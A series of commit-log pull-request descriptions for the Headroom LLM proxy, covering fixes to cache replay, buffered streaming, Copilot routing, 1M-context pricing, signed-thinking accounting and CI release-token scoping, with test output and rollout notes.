- Gate Anthropic cached-prefix replay on the existing
`CompressionDecision.should_compress` result and the existing
pre-upstream backpressure state.
- Require positional alignment between optimized and original message
arrays before replay.
- Reject replay candidates that would serialize larger than the current
optimized messages.
- Add focused handler coverage for the decision-false tool-result
regression, bypass and backpressure paths, and outbound optimize-on
preservation.
- Add direct unit coverage for positional mismatch, no-inflation, and
JSON sizing-failure bailouts.
- Update the moved-cache-control and pure-block-append regression
fixtures to keep the no-inflation contract explicit.
- Run the unchanged OpenAI cache-stability preservation proof; no OpenAI
production code was edited.

## Testing

- [x] Unit tests pass (153 focused proxy, helper, cache-control,
block-append, cross-turn, byte-faithful, Anthropic, OpenAI, and
backpressure tests)
- [x] Linting passes (Ruff check and format validation on the seven
changed repository files)
- [ ] Type checking passes (`uv run mypy headroom`)
- [x] New tests added for new functionality when applicable
- [x] Manual testing performed with the in-process proxy and local stub
upstream

### Test Output

```text
python -m pytest tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cross_turn_cache_safety.py tests/test_cache_control_move_bust.py tests/test_proxy_byte_faithful_forwarding.py tests/test_proxy_anthropic_cache_stability.py tests/test_anthropic_pre_upstream_backpressure.py -q
python -m pytest tests/test_proxy_openai_cache_stability.py -q
python -m pytest tests/test_issue_2671_block_growth_cache.py::test_pure_append_replays_forwarded_blocks_and_advances_breakpoint -q
153 passed across focused invocations, exit code 0
optimize_off turn2_message_count=3 marker_count=1 outbound_compact_utf8_bytes=2293 client_compact_utf8_bytes=2293
optimize_on turn2_message_count=3 client_message_count=3 marker_count=0 outbound_compact_utf8_bytes=171 client_compact_utf8_bytes=182
python -m ruff check headroom/proxy/handlers/anthropic.py headroom/cache/prefix_tracker.py tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cache_control_move_bust.py tests/test_issue_2671_block_growth_cache.py tests/test_proxy_openai_cache_stability.py
All checks passed!, exit code 0

python -m ruff format headroom/proxy/handlers/anthropic.py headroom/cache/prefix_tracker.py tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cache_control_move_bust.py tests/test_issue_2671_block_growth_cache.py tests/test_proxy_openai_cache_stability.py --check
7 files already formatted, exit code 0

git diff --check
clean, exit code 0
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12 via `uv`, real Headroom proxy app
with a local stub Anthropic upstream
- Exact command / steps: send an actual optimize-on first request
through the in-process proxy with a deterministic production-pipeline
seam, then send a decision-false bypass turn containing a large
Claude-shaped `tool_result` with moved `cache_control`; separately send
an aligned optimize-on turn with a new suffix
- Observed result: the exact base checkout fails with `AssertionError:
assert 'compressed-tool-result' == 'large-tool-result-marker ...'`; the
guarded path passes with the client marker present once and outbound
compact JSON no larger than the client body. The optimize-on
preservation run records `optimize_on turn2_message_count=3
client_message_count=3 marker_count=0 outbound_compact_utf8_bytes=171
client_compact_utf8_bytes=182`, proving the actual compressed prefix is
outbound before the new suffix without turn-2 growth.
- Not tested: live Claude Code session against api.anthropic.com on this
host

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: cached-prefix replay now follows the
existing compression and backpressure decision and rejects misaligned or
inflating candidates.
- Kill switch / disable path: no new switch; the existing optimize and
bypass controls remain available.
- Unsafe override required: none.
- Qualification impact: none.
- Rollback path: revert the implementation commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [ ] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes

## Additional Notes

`CHANGELOG.md` is not modified because Headroom's release automation
generates it from conventional commits.

This change does not add a context-limit guard or alter compression,
streaming tracker provenance, outbound-body selection, OpenAI behavior,
or provider limits. Local tests prove request-body ownership and replay
bounds. The reporter's live Claude Code completion and Anthropic token
acceptance remain external to this local proof.
2026-08-17 15:02:18 -07:00
Tejas Chopra
c502087db7
fix(ccr): only buffer a stream when a marker is actually redeemable (#3092)
## Description

Closes #3071

`headroom_retrieve` is injected once and kept resident for the session
so the tools array stays byte-stable and the prompt cache survives. The
buffered-CCR path keyed on that tool merely being **present**, so once a
session went sticky, *every* later streaming turn was silently converted
to `stream: false`, buffered whole, and resynthesized as SSE:

```
CCR: stream:true request has headroom_retrieve available; using buffered stream:false upstream request
```

Buffering leaves time-to-last-byte roughly unchanged but makes
**time-to-first-byte the entire generation**. The reporter measured 8s
average and up to 100s across 234 requests in one day — turns that would
have streamed a first token in ~1s instead delivered nothing until done.

Retrieval can only expand a `<<ccr:...>>` marker present in the outgoing
body, so a turn carrying none cannot benefit from the buffered path at
all. Gate on that instead of on the tool.

This is also the root cause #3082 traced independently from the OpenCode
side — its plugin registers `headroom_retrieve` unconditionally, so
*every* turn buffered and neither `--no-ccr` nor `HEADROOM_NO_CCR`
stopped it.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- New `_outgoing_body_has_redeemable_marker()` scans the body **about to
go on the wire** and verifies ownership against the compression store —
the same `exists()` check the retrieve endpoint performs, so a
same-shaped marker from another context tool is not adopted (#2836).
Unexpected shapes answer `True`, keeping the long-standing behavior.
- The buffered-stream decision site gates on it, and logs at INFO when
it skips buffering.
- The correctness detail worth reviewing: the check reads `body`,
**not** the earlier `scan_for_markers(optimized_messages)` result.
`optimized_messages` is reassigned five times after that scan (memory
hooks, pre-send extensions, tool-search repair, CCR repair), so reusing
it would have been stale.
- Two existing test files encoded the very coupling this removes and had
to be repaired — see Testing.

Scope: this narrows *when* buffering happens; it does not make buffered
turns stream. A turn that genuinely carries a marker still loses
incremental delivery — restoring streaming there means wiring
`StreamingCCRHandler`, which is #3069's scope. It does not fix #3088
either, whose requests do carry markers.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

Two existing files built a request with `headroom_retrieve` and **no**
marker, relying on the tool alone to trigger buffering:

- `tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py` (11 tests)
fell through to the live streaming path, where only `_retry_request` is
stubbed — so the requests reached the network and the file **hung
indefinitely** rather than failing. Seeded real markers; now passes in
~5s.
-
`tests/test_proxy_response_cache_replay.py::test_buffered_ccr_turn_does_not_write_the_response_cache`
asserts its own premise (*"the conversion really happened — otherwise
this test proves nothing"*), so it failed loudly instead of passing
vacuously. Seeded a marker.

New `test_buffering_is_gated_on_a_redeemable_marker` pins all three
directions: owned marker → buffered, no marker → streaming, foreign
marker → streaming.

### Test Output

```text
$ pytest tests/test_ccr_buffered_stream_signed_thinking.py -q
8 passed, 1 warning in 4.45s

$ pytest tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py -q
11 passed, 1 warning in 4.94s        # was: hung indefinitely

$ pytest tests/test_proxy_response_cache_replay.py -q
9 passed, 1 warning in 1.69s

$ pytest tests/ -q
3 failed, 11151 passed, 581 skipped in 398.28s (0:06:38)

Same 3 failures as a clean-main baseline run on this machine:
  tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree

$ ruff check . && ruff format --check .
All checks passed!
```

## Real Behavior Proof

- Environment: this branch driven through the real FastAPI app with the
outbound HTTP client captured; macOS arm64, Python 3.12.
- Exact command / steps: posted a `stream: true` `/v1/messages` request
carrying a resident `headroom_retrieve` tool in three variants — no
marker, a marker seeded into the compression store, and a
correctly-shaped marker the store does not own — recording whether
`_retry_request` saw a `stream: false` body.
- Observed result: no marker → **streams**, `_retry_request` never sees
a flipped body; owned marker → **buffers**, exactly as before; foreign
marker → streams, honoring #2836 rather than adopting another tool's
hash.
- Not tested: the latency improvement against live client traffic. The
mechanism is verified (the buffered conversion no longer occurs), but
the reported 8s → ~1s TTFB needs the reporter's traffic to confirm.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this narrows an existing code path
and is not behind a rollout channel.
- Minimum rollout channel: n/a (ships to stable with the fix).
- Stable/default behavior changed: yes. A streaming turn whose body
carries no redeemable marker now stays streaming instead of being
buffered. Turns carrying a marker are unchanged.
- Kill switch / disable path: no new switch. Existing CCR controls still
apply — disabling the CCR response handler bypasses this decision site
entirely, and the helper fails open (returns `True`, i.e. the old
behavior) on any unexpected message shape.
- Unsafe override required: no.
- Qualification impact: none — no qualification-gated surface is
touched.
- Rollback path: revert this commit. Note it also carries two test
repairs; reverting the production change alone would leave those tests
passing but vacuous.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

Documentation update is marked N/A: no user-facing flag or endpoint
changes. Type checking (`mypy headroom`) was not run separately; `ruff`
is the gate this repo's CI enforces.

Related: #2836 (marker ownership), #3069 (streaming CCR handler), #3082,
#3088.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 11:19:26 -07:00
Tejas Chopra
a29d2015e5
fix(proxy): restore the buffered-CCR heartbeat behind a grace window (#3091)
## Description

Closes #3079

#2997 removed the buffered-CCR keepalive preamble from both provider
handlers. That preamble was added by #2479 to close #2465, so `main` is
back to the condition #2465 described while #2465 stays closed.
Confirmed against the tags:

```
v0.35.0 (released):  keepalive_deadline = loop.time() + 1.0   +   b'event: ping...'
main    (-> 0.36.0): neither
```

Since #2997 is queued in #3067, 0.36.0 would ship this.

The justification left in the code does not hold. It reads *"clients
budget minutes for a turn (Claude Code sends `x-stainless-timeout:
600`), so waiting is free"* — but `x-stainless-timeout` is the **total
request** budget, and #2465 was about the **stream idle** watchdog, a
separate timer. Total-budget headroom says nothing about idle-budget
headroom, and not every client sends 600. The reporter's buffered turns
routinely run 15-25s, all of it silent.

The status-ordering half of #2997 is correct and is kept. What was wrong
was treating the two properties as a trade.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- New `headroom/proxy/buffered_ccr_response.py` holding one
implementation of the buffered-CCR ASGI wrapper. Both handlers
previously carried ~100 duplicated lines each, which is how the OpenAI
twin drifted from the Anthropic one; now only the error wire format
differs.
- A buffered turn holds out for `buffered_ccr_grace_seconds` before
committing. Inside the window nothing is sent and the result is relayed
untouched, so a fast 4xx — or a 429/529 that resolves once
`_retry_request` has honored `Retry-After` — keeps its real status and
headers. That is #2997's property.
- Past the window the response is committed as SSE and a heartbeat
starts, so a first byte always precedes the client's idle watchdog. That
is #2479's property.
- A failure landing after the commit can no longer carry an HTTP status,
so it is translated into the provider's own **typed** SSE error
(`rate_limit_error`, `overloaded_error`, ...) carrying the upstream's
own message where there is one, rather than a generic `api_error`.
**This is the part worth reviewing.** #2997 was right that early commits
broke client backoff — but that was a consequence of degrading every
post-commit failure to a bare `api_error`, not of committing itself.
- New `buffered_ccr_grace_seconds` on `ProxyConfig`, default 5s, env
`HEADROOM_BUFFERED_CCR_GRACE_SECONDS`. Setting it to `0` restores
current `main` behavior exactly.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

**#2997's own tests pass unchanged.**
`test_buffered_ccr_preserves_late_failure_status_and_headers` and
`test_buffered_ccr_withholds_output_until_delayed_upstream_resolves`
resolve at 1.1s, comfortably inside the 5s window, so everything #2997
bought for the cases it tested is intact.

New `tests/test_buffered_ccr_grace_window.py` pins both constraints
@JerrettDavis asked for on #2959 — a late failure keeping its real
status and headers, and a slow success producing a first byte before the
ceiling — plus the typed-error mapping, the zero-grace escape hatch, and
the OpenAI wire format.

### Test Output

```text
$ pytest tests/test_buffered_ccr_grace_window.py -q
9 passed in 2.01s

$ pytest tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py tests/test_ccr_buffered_stream_signed_thinking.py -q
16 passed, 1 warning in 8.19s

$ pytest tests/ -q
3 failed, 11157 passed, 581 skipped in 334.97s (0:05:34)

Same 3 failures as a clean-main baseline run on this machine:
  tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
(missing local `cargo` toolchain; a stale tool-name fixture; a logging test
that loses to global-state pollution in a full run — all present on main.)

$ ruff check . && ruff format --check .
All checks passed!
```

## Real Behavior Proof

- Environment: this branch, the wrapper driven directly over ASGI with a
stubbed buffered operation standing in for upstream; macOS arm64, Python
3.12.
- Exact command / steps: drove three scenarios — a 429 resolving at
0.05s with a 5s window; a success released only after the window with a
0.1s window; a 429 resolving at 0.3s with a 0.05s window — recording
every ASGI message sent.
- Observed result: (1) client receives **HTTP 429** with `retry-after:
30` and zero bytes beforehand; (2) first byte (`200 text/event-stream` +
ping) arrives **before** the upstream resolves, body follows intact; (3)
committed 200, then `event: error` typed `rate_limit_error` carrying the
upstream's own message rather than a generic one.
- Not tested: a live client idle-timeout against a real 15-25s turn.
#3079 notes this depends on whether the client's idle timer starts at
request send or at first response byte — the grace window makes Headroom
correct under either reading, but confirming the original symptom is
gone needs the reporter's fleet.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a fix to an existing code
path, not behind a rollout channel.
- Minimum rollout channel: n/a (ships to stable with the fix).
- Stable/default behavior changed: yes. A buffered-CCR turn slower than
5s now emits SSE headers plus keepalives instead of staying silent.
Turns resolving under 5s are byte-identical to current `main`.
- Kill switch / disable path: `HEADROOM_BUFFERED_CCR_GRACE_SECONDS=0`
restores current `main` behavior exactly (never commit early, no
heartbeat). Covered by `test_a_zero_grace_window_never_commits_early`.
- Unsafe override required: no.
- Qualification impact: none — no qualification-gated surface is
touched.
- Rollback path: revert this commit, or set the env var to `0` without a
redeploy of code.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

Documentation update is marked N/A: the new env var is documented in the
module docstring and the `ProxyConfig` field comment, matching how
`HEADROOM_ANTHROPIC_BUFFERED_REQUEST_TIMEOUT_SECONDS` is handled. Type
checking (`mypy headroom`) was not run separately; `ruff` is the gate
this repo's CI enforces.

Related: #2465, #2479, #2959, #2968, #2997, #3067.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 10:52:25 -07:00
Tejas Chopra
204e751d2f
fix(copilot): route VS Code inline completions to Copilot, not OpenAI (#3077)
## Description

Fixes #3076.

When `github.copilot.advanced.debug.overrideProxyUrl` points at
Headroom, the VS Code Copilot extension sends its inline ("ghost text")
completions to `/v1/engines/<engine>/completions`. No route matches that
path, so it falls into the catch-all passthrough — and
`select_passthrough_base_url()` resolves an upstream from the **auth
headers alone**, never looking at the path. Copilot sends none of the
headers the earlier branches key on, so the request reached the final
line (default to OpenAI) and Headroom forwarded editor keystrokes to:

```
https://api.openai.com/v1/engines/gpt-41-copilot/completions
```

Wrong under every configuration — OpenAI removed the Engines API years
ago — and blocked outright on corporate networks that permit GitHub
Copilot but not OpenAI, which is how it was reported. Inline completions
stopped working for every user behind such a policy.

The Copilot **CLI** was unaffected: it speaks the CAPI shape
(`/chat/completions`), which already resolved correctly. That is the
exact asymmetry in the report.

## Type of Change
- [x] Bug fix

## Changes Made

**Routing.** `select_passthrough_base_url()` now takes the request path
and sends this one path to Copilot. The shape identifies Copilot on its
own, so the redirect is unambiguous. It is scoped to the OpenAI
fall-through — the branch that is wrong here — because every other
branch reflects an upstream the caller chose with its own auth headers.

**The destination is not hardcoded.** GitHub's token exchange advertises
the completions host in `endpoints.proxy`, alongside the `endpoints.api`
chat host Headroom already reads. It is now recorded at the single
chokepoint every exchange passes through, and preferred. Resolution
order:

1. `GITHUB_COPILOT_PROXY_URL` — operator override
2. `endpoints.proxy` from the last token exchange — GitHub's own answer
3. The Copilot API URL

No I/O on the request path, and GHE deployments keep their host. This
matters: it means the destination is not an assumption about which host
serves completions, and if it is wrong for a given network it is an env
var rather than a release.

**Path preservation.** `build_copilot_upstream_url()` strips `/v1` when
the upstream is a Copilot host, because Copilot serves its
OpenAI-compatible surface unprefixed (`/chat/completions`, `/models`).
But the extension built `/v1/engines/<engine>/completions` itself, so
that path is already exactly what Copilot serves — stripping the prefix
rewrites a working request into a 404. Preserved, the same carve-out
`/v1/messages` needed in #2409. The rule: strip only for clients
speaking generic-OpenAI at Copilot, never for Copilot's own paths.

## Testing

- [x] New suite: `tests/test_copilot_vscode_completions_routing.py` (30
tests) — path recognition and its near-misses, upstream selection, the
`endpoints.proxy` resolution order, and URL construction in both
directions
- [x] 286 passed across the Copilot, provider-routing and passthrough
suites
- [x] Ruff check and format pass

### Real Behavior Proof

Environment: this branch, a `POST
/v1/engines/gpt-41-copilot/completions` driven through the real app with
`OPENAI_API_URL=https://api.openai.com` and the outbound HTTP client
captured.

```
BEFORE (main):  https://api.openai.com/v1/engines/gpt-41-copilot/completions
AFTER  (this):  https://api.githubcopilot.com/v1/engines/gpt-41-copilot/completions
```

The "before" line reproduces the reported URL exactly.

**Not tested:** a live VS Code Copilot session confirming GitHub accepts
the forwarded request. That needs a real Copilot account and editor. If
the completions host turns out to differ, the `endpoints.proxy` lookup
or `GITHUB_COPILOT_PROXY_URL` covers it without a code change.

## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 08:31:01 -07:00
Tejas Chopra
6d2254dfb5
fix(anthropic): honor the [1m] 1M-context tier, and price it correctly (#3073)
Two coupled defects on Anthropic's 1M-context tier: Headroom
**under-budgeted** those sessions and **under-priced** them by ~2x. The
second gets worse once the first is fixed, so they ship together.

---

# Part 1 — `[1m]` was lost before the context budget was sized

`sanitize_anthropic_model_id()` strips a trailing `[1m]`, which is
correct for the wire — upstream Anthropic rejects the suffix, and #2027
added the strip for exactly that reason.

But `[1m]` is not only an ANSI artifact. Claude Code appends it to a
model id to request the **1M context tier**, and only sends the
`context-1m` beta header when it is present (#1158 — what `headroom wrap
claude --1m` sets up).

`get_context_limit()` sanitized *before* resolving, so the tier was gone
by lookup time:

```python
provider.get_context_limit("claude-sonnet-4-5[1m]")  # 200_000  ← real window is 1M
```

The request still reached Anthropic correctly and still got a 1M window
— the beta header goes through untouched. What broke is our **budget**:
Headroom sized a 1M session at 200K and began compacting at a fifth of
the available room.

Models whose base is already 1M (`claude-opus-5`, `claude-sonnet-5`)
resolved to 1M either way, which is why this went unnoticed. It bites
the Sonnet 4 / 4.5 family — the models `[1m]` exists for.

**Fix:** read the tier off the id *before* sanitizing; raise the
resolved limit to at least 1M. `max()` rather than assignment, so a base
wider than 1M keeps its own window. Detection is deliberately narrower
than the sanitizer — only a literal `[1m]`; `[0m]`, `[1;32m]` and real
`ESC[` sequences still strip without promoting.

| model id | wire id (unchanged) | limit before | limit after |
|---|---|---|---|
| `claude-sonnet-4-5` | `claude-sonnet-4-5` | 200K | 200K |
| `claude-sonnet-4-5[1m]` | `claude-sonnet-4-5` | **200K** | **1M** |
| `claude-opus-5[1m]` | `claude-opus-5` | 1M | 1M |
| `claude-sonnet-4-5[0m]` | `claude-sonnet-4-5` | 200K | 200K |
| `ESC[1m claude-sonnet-4-5 ESC[0m` | `claude-sonnet-4-5` | 200K | 200K
|

The wire id is unchanged in every case, so #2027 holds — guarded by a
regression test.

---

# Part 2 — the pricing that reports those sessions was wrong

### 2a. The LiteLLM cost path was dead in every provider

`litellm.completion_cost()` no longer accepts `prompt_tokens` /
`completion_tokens`. Every call raised `TypeError`:

```
TypeError: completion_cost() got an unexpected keyword argument 'prompt_tokens'
```

All five providers — `anthropic`, `openai`, `google`, `cohere`,
`litellm` — caught it with a bare `except` and silently fell through to
their hand-maintained tables. The "up-to-date pricing from LiteLLM" the
docstrings promise **has not run at all**. Anthropic additionally passed
`input_tokens - cached_tokens`, the wrong convention (LiteLLM expects
the cache-inclusive total), which would also have suppressed the
long-context threshold even had the call worked.

Replaced with `litellm.cost_per_token()` behind one shared helper,
`pricing.litellm_pricing.estimate_cost_from_tokens()`, which reuses the
existing gateway-alias candidate chain and returns `None` (not an
exception) when LiteLLM can't price a model.

### 2b. Neither path applied Anthropic's long-context premium

On the Sonnet 4 / 4.5 family a prompt over 200K re-prices the **whole**
request — input 2×, output 1.5×, cache 2× — not just the tokens past the
threshold. Rates confirmed from LiteLLM's `*_above_200k_tokens` fields.

| request (`claude-sonnet-4-5`) | reported before | true | error |
|---|---|---|---|
| 100K in / 5K out | $0.3750 | $0.3750 | — |
| 300K in / 5K out | $0.9750 | **$1.9125** | −49% |
| 300K in (150K cached) / 5K out | $0.5700 | **$1.1025** | −48% |

LiteLLM applies this itself once the call works. The manual fallback
needed `_apply_long_context_premium()` — the LiteLLM dependency is gated
`python_version < '3.14'`, so on 3.14 the fallback is the *only* path.
**Both paths now agree to four decimal places on every case under
test.**

---

## What I checked and did *not* change

The fork report that prompted this claimed the Anthropic tables were
materially stale ("Opus 4.x priced wrong"). **That does not hold.** I
audited every entry against LiteLLM's vendored table:

- **Anthropic** — every model LiteLLM knows matches exactly, Opus 4.x
included.
- **OpenAI** — all 17 entries match; the two that don't resolve are
retired models.

The defect was the mechanism, not the numbers, so the rate cards are
untouched.

One thing the repaired path fixes for free: OpenAI's cached-input
discount is **50% on gpt-4o, 75% on gpt-4.1, 90% on gpt-5**, but the
manual path applies a flat 50% estimate. With LiteLLM live, real
per-model rates are used. The flat estimate remains only as the offline
fallback.

## Scope

**No Rust change needed.**
`crates/headroom-proxy/src/compression/model_limits.rs` resolves context
windows but has **no in-tree callers**; the Rust `[1m]` handling is
wire-body sanitization only, correct as-is, and its integration tests
assert behavior this PR does not touch.

**Judgment call worth a reviewer's eye:** the `[1m]` marker is honored
for *any* model, including ones with no 1M tier
(`claude-haiku-4-5-20251001[1m]` → 1M). Gating on an allowlist would be
more precise but reintroduces a hand-maintained table that rots — the
failure mode `model_limits.rs` already documents against. Since `[1m]`
is set by our own wrapper and Claude Code's opt-in, honoring it seemed
the better default. Happy to tighten.

## Tests

- `TestContext1MSuffix` — detection, the 200K→1M promotion, the `max()`
floor, ANSI non-promotion, and the wire-id guard for #2027.
- `TestLongContextPricing` — the premium on both paths (parametrized),
threshold boundary (200,000 vs 200,001), an untiered model charged no
premium, and the two halves meeting: a `[1m]` request gets both the 1M
window and the premium rate.
- `TestLiteLLMCostHelper` — unknown model returns `None`, a known model
prices correctly, and `input_tokens` is cache-inclusive.

Two existing tests were updated, both pinned to the broken behavior:
- `test_estimate_cost_basic` probed a "per 1M" rate by sending exactly
1M tokens, which now crosses the 200K threshold. Re-probed at 100K.
(Worth knowing: `claude-3-5-sonnet-20241022` is retired and no longer in
LiteLLM, so the alias chain resolves it to `claude-sonnet-4-20250514`
and it inherits that model's tier. Harmless — a 200K-window model can't
exceed 200K in reality — but it explains the number.)
- `test_litellm_provider_info_and_cost_fallbacks` monkeypatched
`litellm.completion_cost`; repointed at the new helper seam.

```
ruff check / ruff format / mypy — clean across all six changed source files
```

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-16 22:46:12 -07:00
JD Davis
b3f443636d
fix(proxy): align signed-thinking wire accounting (#3015)
## Description

Signed-thinking histories force byte-faithful passthrough because
re-serializing signed Anthropic blocks can invalidate their signatures.
Headroom correctly forwarded the original client bytes, but continued
reporting mutations, transforms, savings, response headers, and prefix
state from a different body that never reached the provider. Separately,
the final Anthropic guard hoisted every `role: system` message into the
top-level prompt, including valid mid-conversation system sections,
changing their semantics and destroying the cached prefix if that
mutation ever shipped.

This coupled fix makes downstream accounting use the actual wire body
whenever the signed-thinking lock discards edits, and narrows system
relocation to the current Anthropic model and placement contract.

Closes #2990
Closes #2991

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [x] Performance improvement
- [x] Code refactoring (no functional changes)

## Changes Made

- Detects signed thinking in the original request as well as the mutated
body, so a transform cannot remove the block and accidentally bypass the
byte lock.
- Keeps the original-body signature probe best-effort under malformed,
recursive, and `MemoryError` conditions.
- Carries discarded mutation reasons through the streaming forwarder and
emits the existing structured warning on HTTP streaming paths too.
- When signed passthrough wins, resets message savings, tool-schema
savings, attribution ledgers, transform labels, response headers, and
prefix tracking to the original client wire body.
- Adds bounded public diagnostic tags naming/counting discarded mutation
reasons without exposing body content.
- Preserves valid mid-conversation system sections on currently
supported Claude models and official Anthropic, Bedrock, and parsed
`*.googleapis.com` routes; hostname-boundary validation rejects
lookalike and userinfo URLs.
- Preserves consecutive system sections and enforces documented
predecessor/successor placement rules.
- Continues relocating initial, invalidly placed, unsupported-model, and
conservative third-party-gateway system messages to avoid upstream 400s.
- Includes current `main`, including #2996, #2997, #2971, #3009, #3012,
and the MCP dependency cap.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
uv run pytest -q <wire/cache/savings/system focused suite>
379 passed

uv run pytest -q tests/test_proxy/test_anthropic_recount_and_reparse_safety.py tests/test_proxy_byte_faithful_forwarding.py tests/test_proxy_handler_helpers.py
99 passed

pytest tests scripts/tests --splits 4 --group N --tb=short -q
All four CI-shaped fresh-process groups passed locally after correcting the MemoryError regression; each completed in roughly 75-83 seconds.

Post-CodeQL correction: 91 focused tests passed; all four exact-head CI-shaped shards passed in roughly 82-95 seconds.

uv run ruff format --check .
1411 files already formatted
uv run ruff check .
All checks passed
uv run mypy headroom
Success: no issues found in 520 source files
```

## Real Behavior Proof

- Environment: macOS arm64, Python 3.13, branch rebased onto current
`main`.
- Exact command / steps: sent a signed-thinking request whose tool
schema is measurably compacted inside the handler, captured the exact
upstream bytes, wrapped the real outcome funnel, and inspected response
headers, aggregate metrics, attribution tags, transforms, and
prefix-tracker state. Exercised valid, consecutive, invalid, initial,
supported-model, and unsupported-model system placements.
- Observed result: upstream bytes remain byte-identical to the client;
discarded edits contribute zero tokens, zero tool savings, no transform
header, and no attribution while the prefix tracker stores the actual
wire messages. Valid mid-conversation system sections remain in place;
only out-of-contract sections relocate.
- Not tested: live paid Anthropic traffic with production credentials.
The placement/model contract was verified against the current official
documentation and wire behavior is covered with a byte-capturing
transport.

## Runtime Rollout Safety

- Rollout-managed feature(s): signed-thinking wire-truth accounting and
Anthropic mid-conversation system preservation.
- Minimum rollout channel: normal patch release after exact-head CI is
entirely green.
- Stable/default behavior changed: discarded mutations no longer inflate
savings; supported valid system sections are no longer hoisted into the
top-level prompt.
- Kill switch / disable path: no unsafe runtime override; human revert
restores the previous conservative relocation/accounting behavior.
- Unsafe override required: none.
- Qualification impact: all Python shards, byte-forwarding,
cache-prefix, outcome/savings, signed-thinking, Anthropic handler,
static, Docker, and security checks must remain green.
- Rollback path: fix forward through a human-reviewed corrective PR; no
persisted data or configuration migration is involved.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation — inline
wire-contract documentation; no separate guide is required
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

Not applicable; proxy wire behavior and accounting only.

## Additional Notes

Human review only. No merge or auto-merge is configured. Current
provider contract reference:
https://platform.claude.com/docs/en/build-with-claude/mid-conversation-system-messages
2026-08-16 20:44:38 -07:00
Tejas Chopra
ac8646aa3c
fix(ci): scope the release credential and stop persisting it to disk (#3062)
## Description

`RELEASE_PLEASE_TOKEN` is currently a maintainer's personal PAT. It
bypasses branch and tag protection on `main` (`release-please.yml` says
so in its own comment), and forging a tag with it fires `release.yml`
and `docker.yml` on `release: published`, which publish to PyPI, npm and
GHCR. If it is a classic token with `repo` scope it is also valid
against every other repository that account can reach.

`release-metadata-sync.yml` made that credential readable on the runner.
`actions/checkout` defaults to `persist-credentials: true`, writing the
token into `.git/config`, and the very next step runs
`scripts/version-sync.py` **from the checked-out branch**. The trigger
is a push to the glob `release-please--branches--**`, which is not a
protected namespace, so a principal with push access could land a
modified `version-sync.py` and read it.

Closes #2955.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
